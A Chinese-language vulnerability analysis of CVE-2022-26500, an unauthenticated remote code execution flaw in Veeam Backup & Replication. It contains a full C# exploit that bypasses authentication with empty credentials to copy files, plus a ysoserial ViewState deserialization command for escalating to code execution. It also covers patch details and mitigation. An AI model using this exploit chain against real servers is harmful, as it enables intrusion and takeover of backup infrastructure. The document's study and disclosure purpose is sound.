CVE-2022-26500 Veeam Backup & Replication RCE
字数 1548 2025-08-29 08:31:53

Veeam Backup & Replication RCE漏洞(CVE-2022-26500)分析报告

漏洞概述

CVE-2022-26500是Veeam Backup & Replication软件中的一个远程代码执行漏洞,影响默认TCP 9380端口上的Veeam Distribution Service。该漏洞允许未经身份验证的攻击者访问内部API函数,可能导致恶意代码的上传和执行。

受影响版本

  • Veeam Backup & Replication 11.0.1.1261及之前版本

漏洞分析

漏洞服务定位

  1. 漏洞存在于默认TCP 9380端口的Veeam Distribution Service
  2. 相关程序:Veeam.Backup.Agent.ConfigurationService.exe
  3. 服务启动时监听两个端口:
    • _negotiateServer监听9380(未加密)
    • _sslServer监听9381(SSL加密)

漏洞关键点

  1. 鉴权绕过

    • 处理函数为Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object)
    • 鉴权函数CForeignInvokerNegotiateAuthenticator.Authenticate(Socket)存在缺陷
    • 可使用空账号密码绕过鉴权
  2. 请求处理流程

    • TCP压缩数据流通过ReadCompressedString读取
    • 通过CForeignInvokerParams.GetContext(text)获取上下文
    • 分发到DoExecute(context, cconnectionState)
  3. 执行器选择

    • 根据参数返回三种执行器之一:
      • CInvokerServerRetryExecuter(重试)
      • CInvokerServerAsyncExecuter(异步)
      • CInvokerServerSyncExecuter(同步)
    • 漏洞利用需要获取CInvokerServerSyncExecuter实例
  4. 文件上传功能

    • 关键函数ExecuteUploadManagerPerformUpload
    • 三个上传函数:
      • UploadWindowsFix
      • UploadWindowsPackage
      • UploadLinuxPackage
    • 通过UploadFile函数实现文件复制

漏洞利用

构造Payload

  1. 基本XML结构

    CInputXmlData FIData = new CInputXmlData("FIData");
    CInputXmlData FISpec = new CInputXmlData("FISpec");
    
  2. 必要字段

    FISpec.SetInt32("FIScope", 190);  // EForeignInvokerScope.DistributionService
    FISpec.SetGuid("FISessionId", Guid.Empty);
    FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
    
  3. 上传参数设置

    FISpec.SetString("SystemType", "WIN");
    FISpec.SetString("Host", "127.0.0.1");
    FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
    FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
    

完整利用代码

internal class Program {
    static TcpClient client = null;
    static void Main(string[] args) {
        IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
        IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
        client = new TcpClient();
        client.Connect(remoteEP);
        
        NetworkStream clientStream = client.GetStream();
        NegotiateStream authStream = new NegotiateStream(clientStream, false);
        
        try {
            NetworkCredential netcred = new NetworkCredential("", "");
            authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
            
            CInputXmlData FIData = new CInputXmlData("FIData");
            CInputXmlData FISpec = new CInputXmlData("FISpec");
            
            FISpec.SetInt32("FIScope", 190);
            FISpec.SetGuid("FISessionId", Guid.Empty);
            FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
            
            // 设置上传参数
            FISpec.SetString("SystemType", "WIN");
            FISpec.SetString("Host", "127.0.0.1");
            FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
            FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
            
            FIData.InjectChild(FISpec);
            
            new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);
            string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
            
        } catch (Exception e) {
            Console.WriteLine(e);
        } finally {
            authStream.Close();
        }
    }
}

提权到RCE

  1. 获取web.config

    • 复制C:\Program Files\Veeam\Backup and Replication\Enterprise Manager\WebApp\web.config
    • 从中提取machineKey等敏感信息
  2. ViewState反序列化

    ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationkey="[从web.config获取]" --validationalg="HMACSHA256" --minify --path="/error.aspx"
    

漏洞修复

  1. 补丁改进

    • 上传功能增加了文件名校验
    • 授权改用CInvokerAdminNegotiateAuthenticator
    • 不仅检查授权用户,还验证是否为管理员
  2. 修复建议

    • 立即升级到最新版本
    • 限制对TCP 9380端口的访问

技术要点总结

  1. TCP编程模式

    • 服务端常见的异步回调处理模式
    • 压缩数据流传输
  2. Windows鉴权机制

    • NegotiateStream的使用
    • 鉴权流程的缺陷
  3. 大型软件架构

    • 执行器模式的应用
    • 分层处理的设计
  4. 漏洞利用技巧

    • 通过文件复制实现信息泄露
    • 利用已有文件实现RCE

潜在风险

即使修复了鉴权问题,CInvokerServerSyncExecuter仍然暴露了许多服务接口,可能存在其他未发现的漏洞。建议全面审计相关代码。

Veeam Backup & Replication RCE漏洞(CVE-2022-26500)分析报告 漏洞概述 CVE-2022-26500是Veeam Backup & Replication软件中的一个远程代码执行漏洞,影响默认TCP 9380端口上的Veeam Distribution Service。该漏洞允许未经身份验证的攻击者访问内部API函数,可能导致恶意代码的上传和执行。 受影响版本 Veeam Backup & Replication 11.0.1.1261及之前版本 漏洞分析 漏洞服务定位 漏洞存在于默认TCP 9380端口的Veeam Distribution Service 相关程序: Veeam.Backup.Agent.ConfigurationService.exe 服务启动时监听两个端口: _negotiateServer 监听9380(未加密) _sslServer 监听9381(SSL加密) 漏洞关键点 鉴权绕过 : 处理函数为 Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object) 鉴权函数 CForeignInvokerNegotiateAuthenticator.Authenticate(Socket) 存在缺陷 可使用空账号密码绕过鉴权 请求处理流程 : TCP压缩数据流通过 ReadCompressedString 读取 通过 CForeignInvokerParams.GetContext(text) 获取上下文 分发到 DoExecute(context, cconnectionState) 执行器选择 : 根据参数返回三种执行器之一: CInvokerServerRetryExecuter (重试) CInvokerServerAsyncExecuter (异步) CInvokerServerSyncExecuter (同步) 漏洞利用需要获取 CInvokerServerSyncExecuter 实例 文件上传功能 : 关键函数 ExecuteUploadManagerPerformUpload 三个上传函数: UploadWindowsFix UploadWindowsPackage UploadLinuxPackage 通过 UploadFile 函数实现文件复制 漏洞利用 构造Payload 基本XML结构 : 必要字段 : 上传参数设置 : 完整利用代码 提权到RCE 获取web.config : 复制 C:\Program Files\Veeam\Backup and Replication\Enterprise Manager\WebApp\web.config 从中提取machineKey等敏感信息 ViewState反序列化 : 漏洞修复 补丁改进 : 上传功能增加了文件名校验 授权改用 CInvokerAdminNegotiateAuthenticator 不仅检查授权用户,还验证是否为管理员 修复建议 : 立即升级到最新版本 限制对TCP 9380端口的访问 技术要点总结 TCP编程模式 : 服务端常见的异步回调处理模式 压缩数据流传输 Windows鉴权机制 : NegotiateStream的使用 鉴权流程的缺陷 大型软件架构 : 执行器模式的应用 分层处理的设计 漏洞利用技巧 : 通过文件复制实现信息泄露 利用已有文件实现RCE 潜在风险 即使修复了鉴权问题, CInvokerServerSyncExecuter 仍然暴露了许多服务接口,可能存在其他未发现的漏洞。建议全面审计相关代码。